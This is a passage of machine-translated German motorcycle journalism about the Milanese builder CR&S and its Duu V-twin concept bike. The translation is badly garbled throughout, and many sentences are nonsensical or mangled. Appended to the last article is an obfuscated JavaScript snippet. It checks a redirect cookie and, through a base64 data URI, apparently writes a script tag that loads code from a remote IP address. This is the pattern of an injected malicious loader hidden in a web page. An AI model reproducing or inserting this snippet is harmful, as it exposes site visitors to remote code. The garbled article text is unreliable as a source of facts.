In einem Mailänderen zunehmend cont el coeur im Menschen, zum Glück gibt es noch jemand, die Motorräder mit dem Herzen und Händen baut.
einzeln, mit großer Sorgfalt und Leidenschaft. Die Dynamik Geschichten und so viele Männer, die sie gesagt haben,, aber dies ist die Geschichte einer Idee.
Eine einfache Geschichte, aber besondere in seinem kleinen.
Wenn zwei Räder bewegen die Seele, der Mut, von einem paar Freunden gelungen, eine Motorradmarke in Mailand zu bringen. Ein langer Schatten der Madonna in Betrieb waren Marken wie Bianchi, Miller-Balsamo, iso Moto, Parilla, Guazzoni, Innocenti. Und Paton Peppino Pattoni, der letzte GP in privaten Konstruktor gegen die japanischen Riesen zu kämpfen, mit den vier Zylindern grünen.

heute, die Stadt der Mode, Motorrad auf dem Umfang zu schneiden ist CR&S. Blick von außen, Hauptsitz ist ein kleiner Schuppen wie so viele andere im Industriegebiet von Settimo Milanese. Mit einer Ausnahme, Motorräder außen aufgereiht: gleich aussehen, aber sie sind nicht identisch. Sie sind ein wenig Einzylinder’ CAFE RACER, einige’ nackt im Taschenformat. Sie sind Vun genannt. sie Idea. Die Leute, die durchgeführten Arbeiten unter einem Dach, als Teile des gleichen Motorrad. Das Geschäft ist im Erdgeschoss, die Wände sind durch Plakate des Bol d'Or verputzt, Tourist Trophy und Assen. Das Design und die Papiere Abteilung ist auf die offene Mezzanine (eher, Spasi Avert), durch die gewundenen Verkleidung Superbike Britten V dominiert 1000. Roberto Crepaldi sitzt direkt vor. Er war es, das Cafe Racers gegründet & Superbikes in 1992, nach dem Verlassen man die Zahl geöffnet mit Carlo Talamo und Max Brun. Im folgenden Jahr traf er John Britten, der geniale Ingenieur Zealander berühmt für seine V 1000. Er schnell zu bei der Verfolgung einer Idee. lassen Britten, in Europa durch CR unterstützt&S, es zeigt in Wettbewerben auf der ganzen Welt, bis zum Verschwinden des gleichen Britten. Mit Hilfe der Erfahrung der Unternehmer in der Kfz-Versicherung (Es war ein Händler von Ferrari, Jaguar e Aston Martin), Crepaldi nimmt sein Stichwort vom letzten Johns Projekt eines Einzylinder-Rennen, Einsitzer, mit dem Gewicht und das Leistungsverhältnis gleich eins. ein. von, in Milanese Dialekt… John Cabassi und Giorgio Sarti sind Freunde, Unternehmer, Kostenlose Fahrräder Denker 2002 Sie haben flankiert Crepaldi in CR&S. Zwei Jahre nach Roberto Pattoni, Sohn Peppino und Inhaber von Paton, werden Partner des CR&S als Techniker verantwortlich für die Entwicklung. Der Motor Wahl ist die Rotax Bombardier 650, geschätzt auf dem BMW F dank seiner straßenorientierte und Zuverlässigkeit . Gedacht als ein Renn mono, Die Vun beweist ein Tier zu gemischten schließen, auch hervorragend für den Einsatz in der Stadt . Das Design kombiniert die klassischen Linien der Rahmenrohre zu modernen Aluminiumkörper, glatte Linien und technologische Lösungen. Jedes Element ist anpassbar, perchéil Fahrer kann das Vergnügen erleben bei der Wahl Vun ihre eigenen Komponenten bauen und Malerei. Am Ende 2006 beginnt die Produktion der Serie, in ein paar Dutzend Einheiten pro Jahr, von Rennprototypen flankiert. Vor kurzem sind die beiden Versionen EvoluziÀ²n von Mono hinzugefügt 652 cc. Die prunta für die schnelle Entwicklung 68 Lebenslauf, während Nurma der Gehalt an 54 cv a 7.000 Runde. Wie schlecht, nur unter Berücksichtigung, dass das Trockengewicht ist, 135 Chili… Die Vun spricht Meneghino auch im Datenblatt, in dem die schwimmende Scheibe Bremsscheibe wird balerÀ¬n und Kette mit O-Ring Cadena glauben die Anei de goma…
Die große Herausforderung der CR&S scheint zu gewinnen, Verteilung erweitert in Europa und den USA, aber die Ideen nicht stoppen Spinnen. Das macht das unvermeidliche Ergebnis der Vun, mit zwei Zylindern außerhalb der Box und aus der Logik der großen Zahlen, Es war bereits der Leiter des Mailänderen Bauers in 2008. so lange ©, Er sagt Crepaldi, der Motor Bike Expo kommt die Offenbarung des Jahres: Â „Wir stehen WMO, Meccanotecnica der Mailänder Werkstatt, die die Wakan importiert, zusammen mit dem von Confederate, direkt gegenüber dem Zodiac mit dem neuen Zweizylinder-S X-Wedge steht&S. dann Wakan, X-Wedge, Eidgenosse, von… Leitungen!EIN".
Die Geschichte enthält eine konzeptionelle Figur für Sela, stilistischen und ästhetischen des neuen Zweizylinder-CR&S. im Grunde: eine Maxi beispiellos streetfighter, weniger elitär Confederate, Rest wie Wakan und konstruiert
Aufbauend auf Erfahrungen Vun. Das Herzstück des Projektes ist der Motor X-Wedge, dass die grundlegende Anforderung, dass sie eine Nachahmung der Twin Cam Harley-Davidson sein. Die 56A bis V2 ° S&S ist ebenso massiv, aber mehr
moderne und leistungsstarke, mit seinem 2.000 cc, die drei Nockenwellen, die elektronische Einspritzung. À Lage 160
Nm Drehmoment über nur 3.000 Runde. Sachen Roll, obwohl genehmigt Euro 3. Und wenn man bedenkt, dass die DUU â € € wiegen œsoloâ sollte ?? 250 Chili, wie ein Harley Sport 883…
Beachten Sie, wie die Zahlen wiederholen: zwei Zylinder, zwei Liter, zwei Sitze (wollen). Und das große Rohr, das den Rahmen mit einem gemischten Struktur charakterisiert Stahl. Die ersten Skizzen sind durch Aufbauten verborgen optional, aber es ist klar, dass die Schönheit DUU glänzt in seiner brutalen Einfachheit. Nackt und roh, entworfen Kopf geführt zu werden und ohne zu viel Aufwand, aber es entworfen, an der Mündung des Magens zu schlagen. mehr
einmal Form, Funktion und Emotion jagen einander in einem Spiel der Balance. La kommen aus, DUU ist auch eine Geschichte der Lust an erwachsene Motorradfahrer bestimmt, entwickelt und anspruchsvoll. Das vielleicht wollen sie zurück in der Liebe mit einem spannenden Motorrad fallen. Er sagte, der Philosoph Gilles Deleuze, dass  „Es gibt keine Investitionen Revolution libidinale“. und ohne, selbst bauen sie einzigartige Fahrräder, mit der Unterstützung von einem Niveau von Kreativität, dass die großen Häuser nicht mehr leisten können,, durch Vorsicht und die Marketing-Logik erstickt. À eine faszinierende Wette, gespielt werden, aber in Reichweite. Obwohl es immer noch auf der Ebene
Prototyp, Es wird erwartet, dass der Preis zwischen DUU schwanken sollte 19 und 20 Tausend Euro.
Wenig mehr als eine Ducati Street S, im Einklang mit dem V-Rod Muscle, weniger als ein V-Max
und gab eine Harley-Davidson CVO.
Präsentation dieses EICMA Prototyp des Jahres, das ultimative Motorrad auf der Mailänder Messe zu sehen 2010. Die Produktion aus der nächsten Saison: Â „Wir sind nicht auf der Suche nach großen Zahlen, Wir sind ein kleines Unternehmen mit Ideen
chiare »schließt Crepaldi.  „Das Ziel von hundert Motorrädern pro Jahr erreichen würde Break-even-Punkt und einer Gewinnmarge ermöglichen, werden reinvestiert CR in der Entwicklung der nächsten Motorrad&SA '. übersetzt
frei in Mailand: Gh'è minga de DUU ohne Tri.

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Wunder in Mailand

Es heißt CR&S und das Hinterland ist ein kleines Unternehmen mit einer großen Leidenschaft.
Sein Motorrad “muss etwas Besonderes sein”, Sie werden von Hand gebaut und jeder von ihnen unterscheidet sich von der anderen. Hier ist sein neuestes Juwel: nackt, Brauch, Roadster? etwas’ alle.

Ein anonymer Schuppen etwas außerhalb der ländlichen Stadt . Es ist ein Satz, “tätowiert” auf jedem der Fahrräder, die da rauskommen “Sie sagen, in Mailand, cont das Herz und cont'i Mann”. Übersetzt in die italienische Mittel “in Mailand gemacht, mit dem Herzen und Händen”, das Wesen und die Philosophie von CR&S, ein kleines Unternehmen von Roberto Crepaldi viszeraler Leidenschaft für zwei Räder gegründet. Crepaldi hat klare Vorstellungen: jede Bewegung gemacht von CR&S muss von den anderen etwas Besonderes und anders sein. Als seine neueste Kreation. bringen Sie die (“fällig”) wie der Name schon sagt ist es die zweite Bewegung der kurzen Geschichte der CR&S, Es hat einen riesigen und explosiven Motor mit zwei Zylindern 1.916 cc und entkommt die traditionellen Definitionen. Nackt, Roadster, Brauch, Straßenkämpfer? etwas’ all diese Dinge zusammen, Aber das Duu ist zuallererst ein exklusives Kunstwerk aus Edelmetallen und raffinierten Materialien, die nach Formen geformt sind, die originell und faszinierend definieren, ist fast eine Untertreibung. Darüber hinaus kann jeder Kunde seinen Charakter anpassen, indem Bau Auswahl, Komponenten des Chassis und der Motor Zubereitung. Die Preise beginnen bei 20.000 Euro, Aber neben dem Geld werden Sie Geduld haben müssen, weil der CR&S werden von Hand ausgebildet ist, eine nach der anderen.

Stefano Bariggia

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CR&S Motorräder verwendet, um die ‚EICMA’ Motorrad-Show in Mailand, Italien, sein neuestes Prototyp-Modell zu debütieren – das X-Wedge angetrieben Duu.
Zunächst wird als ein Konzept Fahrrad gezeigt, wenn die Duu, entworfen von Donato Cannatello, geht in die volle Produktion, jedes Fahrrad wird mit dem Kunden von Hand gebaut, um die Wahl einer Reihe von technischen und ästhetischen Möglichkeiten, die. Die zur Verfügung stehenden Optionen werden einen einzelnen und / oder Zweisitzer Basismodul enthalten. “Wir glauben, dass dieser Euro Sportcruiser das Potenzial hat, eine Art amerikanischer Äquivalent zum Triumph Speed ​​Triple zu sein, aber mit italienischen Stil,” sagte Roberto Crepaldi, der Geschäftsführer der CR&S. “Duu ist der richtige Name für dieses Modell – Es ist ein V-Twin, das zweite Element des CR&S-Familie, es wird ein Zweiliter-Motor haben, wiegen 200 Kilo, und tragen zwei Personen. Was sonst könnten wir es cali?! “Die Produktion wird Anfang 2011 beginnen. Wir haben bereits begonnen, das Entwicklungsrad auf der Straße zu testen, Wir sind jedoch sehr darauf bedacht, Feedback von der Öffentlichkeit zu erhalten.”

 

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Roberto Crepaldi neuestes Projekt, die Duu, ein luftgekühltes großes Doppel ist um S gebaut&S Cycle American-made 1916cc / 117ci 60 Grad-V-Twin-Motor.

Dargestellt als Concept-Bike auf der EICMA, Crepaldi sagt der Duu wird ein modular aufgebautes Fahrrad sein, Kundenkonfigurationsoptionen, die er zu einem Basispreis von € zu verkaufen hofft, 20.000, mit einem Produktionsvolumen von ein paar Dutzend Einheiten pro Jahr, und erste Lieferungen für 2011…

 

 

 

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TRÄGT, ABER NICHT VON SPADES

Zum Verkauf in einem Jahr zum Grundpreis von 20.000 Euro, DUU sehen die letzte Mailand zeigen als Konzept (und wir haben eine Vorschau auf Nummer Riders beschrieben 22) Es ist eines der wenigen wirklich ursprünglichen Vorschläge der letzten Zeit.
Der Milan CR&S, das es hervorgebracht hat, ist dasselbe wie der sehr leichte Einzylinder-Vun: Roberto Crepaldi, Giorgio Sarti und John Cabassi, Alle drei Fahrer vor Unternehmern, Sie haben sich auf einer unerforschten Nische konzentriert, aber interessant. Die Duu ist ein spezieller in Kleinserie produziert, modulare und hoch anpassbare, mit exklusiven Inhalten des amerikanischen und europäischen Stils von Confederate Wakan Französisch, aber zu einem Bruchteil der Kosten angeboten. Leitungen, zwei Dialekt Meneghino, weil die Zylinder zwei und die Verdrängung (1.916 diese) Es ist neben zwei Liter, und warum, wollen, die PUE Fahrrad in zwei Orten gleichzeitig sein und nicht als Einsitzer Vun. Dieser Maxi Streetfighter ist mit dem V2 von 56 ° X-Wedge des American S ausgestattet&S, ein starkes Monster mit seinem 16 kgm Drehmoment maximal nur drei Tausend Umdrehungen. Der Rahmen besteht aus poliertem Edelstahl: ein großer Träger, die Benzinbehälter fungiert auch als, mit Aluminium-Seitenplatten des hinteren Schwingarms zu halten, (immer ein großes gekrümmtes Stahlrohr) und der Benzintank, der auch den Sattel hält.
Das Design ist unterzeichnet von Donato Cannatello, die gearbeitet für Aprilia Bimota, welches es Entladen unter dem Motor positioniert, Es versteckt alle Aufbauten und erstellt eine leicht bearbeitbare minimalistische Linie durch Hinzufügen, oder Entfernen, eine Reihe von Zubehör (einschließlich panniers oder einem Behälter über dem Behälter) funktionale und ästhetische Anhänge. Der Sattel kann in einer oder zwei Stellen sein, und es sind verschiedene Lösungen für Scheinwerfer und Oberflächen. Trotz des großen Motors, das Fahrrad ist ganz in seiner Art kompakt und wiegt so viel wie ein Harley Sport 883, weil DUU wird nicht nur protzig angetrieben werden. Ein ehrgeiziges Projekt, nicht ohne Widerstände überwunden werden, wie seine Erfahrung und den Ruf der CR&S. Aber es muss gesagt werden, dass diese Realität organisiert, klein, wie eine echte Motorradindustrie. (Maurizio Gissi)

 

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Big Twin a Milano!

Nach dem Doppel mono: von einem kleinen Handwerker hat diesen ausgelassene Zweiliter einzigartigen Stil
Riccardo Capacchione

…Sie sagen, in Mailand, es cont cont i heart th Mann ' ". Wir übersetzen für Nicht-Milanese: „Made in Mailand, mit dem Herzen und Händen ", E’ der Satz auf Motorrädern von CR gebaut geschrieben&S Settimo Milanese. das einzige Modell war der Vun im Katalog bis heute, Die schlanke Single, die jetzt eine Schwester hat, durchaus nicht rationalisiert, Er rief DUU. In Milanese Dialekt bedeutet Vun „Eins“ als ein Zylinder, ein Ort, und „einzigartig“. Leitungen, wie Sie sehen werden, stattdessen will „zwei“, wie zwei Zylinder sagen, zwei Plätze und… nur, sie. Die Kunden der CR&S, tatsächlich, Sie können Ihr Fahrrad bestellen, indem Sie die Einstellung der Wahl, Fahrwerkskomponenten, die Vorbereitung des Motors und natürlich die Einfärbungen. Aus diesem Grund ändert sich der Preis viel, ausgehend von der Basis von 20.000 Euro. Die Design-Philosophie hinter den CR-Modelle&S ist einfach zu artikulieren, weniger zu erreichen: das Fahrrad muss wesentlich sein, der gesamte Motor und Fahrwerk auf Sicht, aber es muss auch ein Stil sein, vielmehr zwei: dass der Hersteller und dem Kunden, dass, wie erwähnt, Er beteiligt sich aktiv an der Schaffung von Amts wegen. SE Mangroven E’ trägt? Gia ', Was ist Duu? Es ist ein leistungsstarker Zweizylinder, den die normalen Definitionen entkommt: Gewohnheit nackt, Roadster, Straßenkämpfer? Schwierig, ein bestimmtes Genre zuzuschreiben. am besten, einfach, beschreiben die technischen Merkmale, wirklich einzigartig. Das Chassis ist aus CR konstruiert&S und ist aus einem oberen rohrförmigen giant legiertem Stahl zusammengesetzt, erinnert an das Schema von der Schweizer Spezialist Fritz Er benutzte; wer hat einige’ die Federn hinter Rückruf , unter anderem, Er trägt den wunderbaren Vincent 1967. Das große Hauptrahmenrohr Duu auch die Funktion des Kraftstofftanks, Ein Beispiel für die Strategie des CR-Projekt&S, die dazu neigt, die maximale Integration und Vereinfachung der einzelnen Komponenten. Im hinteren Teil ist die Struktur von Splendid Leichtmetallplatten verschlossen, das Messer von einem „vollen“ geschmiedeten erhalten. Die hinteren Schwingarm Gitter aus Stahlrohren sind an der Seite des Stoßdämpfers verbunden sind. die Räder, andere exklusive CR&S, Sie sind großartig und insbesondere der hintere, Kragarm montiert mit einer einzigen Zentralmutter und in verschiedenen Ausführungen der Rassen. Die Glasfaser-Aufbauten sind wenige und wesentlich; wirklich ungewöhnliche Lösung für die Frontscheinwerfer… nicht c'è, durch zwei seitliche optische Baugruppen in dem „Haifisch Kiemen“ an den Seiten der Gabel untergebracht ersetzt, erinnert an die Stilmerkmale von Vun. Die Autos können DUU sein, wie die, die wir getestet, aber es ist die Konstruktion zu zwei erwartet und dass Reisen, mit Taschen und Sonderzubehör. MAMMA UND POMPON! Der Motor S&S X-Wedge domina la scena. Die beiden Türme colossal aiettate der Zylinder unterscheiden sich voneinander von 56,25 ° und dem Gehäuse innerhalb der Kolben aus 105 -Long-mm mit Bohrung und Hub von 111 Millimeter. Das Schema wiederholt sich, dass von Harley-Davidson-Triebwerke, für das die S&S produziert immer Sonderteile, aber in diesem Fall ist der Antrieb ein völlig neue. Die Köpfe aufnehmen zwei große Ventile (50,8 mm Saug, 40,64 mm am Auspuff), parallel zueinander und von Kipphebeln und Stangen bewegt wird, die auf den drei Nockenwellen ruhen, zwei Auslassventilen und ein gemeinsam Saug, im Kurbelgehäuse befindet. die Änderung, getrennt, Baker ist ein Fünf-Gang. Die Macht und die elektronische Einspritzung, während die Entladungs ​​katalysierten, auf spezifische CR gebaut&S, Es ist unter dem Motor, mit zwei fantastischen ‚Kanonen‘ Seite. Der primäre Kettenantrieb wieder aufnimmt, das Schema Harley und ist auf der linken Seite. PAARE RIMORCHIATORE Wir bestanden viele der Prototyp testen, noch abgeschlossen werden, die DUU, ma ne ist Waltz la Pena. die Doppel, ohne Gegenwellen, Puls, während der, aber darüber schiebt eine beeindruckende Kraft. Die Hinterreifen unter der Ableitung von kgm stöhnend, die DUU Sprünge nach vorn und der Pilot ist gut, die fest am Lenker festhalten. Eine deutliche Steigerung des Sattels würde dazu beitragen, einen Teil des Schubs zum Download, Verringerung der Belastung auf die Arme. Das Gesamtgewicht nicht zu hoch ist, in Bezug auf die Verschiebung, und es ist gut verteilt, wodurch es besser handhabbar DUU als wir erwarten. Die wenige Kilometer im Sattel sie nur eine vage Vorstellung von der Leistung dieses Fahrrades gegeben wurden, die vor ihnen liegen spannende, Wir freuen uns für eine gute Squeeze,.. "Bleib dran", wir halten Sie auf dem Laufenden! Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}